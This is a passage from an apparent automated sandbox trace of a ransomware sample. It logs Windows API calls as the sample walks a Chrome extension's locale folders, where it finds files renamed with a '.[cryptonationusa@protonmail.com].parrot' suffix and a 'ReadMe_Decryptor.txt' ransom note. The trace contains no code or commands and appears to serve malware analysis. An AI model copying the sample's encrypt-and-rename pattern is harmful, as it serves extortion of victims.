cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.931] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.931] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.931] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.931] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.932] CloseHandle (hObject=0x274) returned 1 [0096.932] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafe8d280, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xafe8d280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafeb33e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.932] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.932] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.932] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xafe8d280, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafe8d280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.932] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857e35d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xafd36620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.932] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.932] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.932] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.932] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xafed9540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafed9540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.932] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.932] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.933] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xafeb33e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.933] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.933] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.933] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.933] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.933] CloseHandle (hObject=0x274) returned 1 [0096.934] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafed9540, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xafed9540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafed9540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.934] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.934] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xafed9540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xafed9540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.934] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xafeb33e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.934] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.934] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.934] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb007c460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb007c460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.934] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.934] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.934] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0056300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.934] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.935] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.935] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.935] CloseHandle (hObject=0x274) returned 1 [0096.935] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb007c460, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb007c460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb00a25c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.935] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.935] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.936] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.936] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb007c460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb007c460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.936] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0056300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.936] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.936] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.936] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb039c140, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb039c140, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.936] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.936] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.936] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb02454e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.936] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.936] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.936] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.937] CloseHandle (hObject=0x274) returned 1 [0096.937] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb039c140, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb039c140, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb03c22a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.937] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.937] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.937] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.938] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb039c140, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb039c140, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.938] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb02454e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.938] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.938] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.938] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.938] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.938] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb03c22a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb03c22a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.938] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.938] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.938] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb03c22a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.938] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.938] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.939] CloseHandle (hObject=0x274) returned 1 [0096.939] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb03c22a0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb03c22a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0518f00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.939] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.939] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb03c22a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb03c22a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.939] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb03c22a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.940] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.940] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.940] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb06238a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb06238a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.940] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.940] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.940] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb06238a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0096.940] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.940] ReadFile (in: hFile=0x274, lpBuffer=0x18d7b0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18d754, lpOverlapped=0x0 | out: lpBuffer=0x18d7b0*, lpNumberOfBytesRead=0x18d754*=0x18, lpOverlapped=0x0) returned 1 [0096.941] CloseHandle (hObject=0x274) returned 1 [0096.941] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb06238a0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xb06238a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb0649a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.941] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18d80c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18d80c) returned 0x600690 [0096.941] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb06238a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb06238a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.941] FindNextFileW (in: hFindFile=0x600690, lpFindFileData=0x18d80c | out: lpFindFileData=0x18d80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 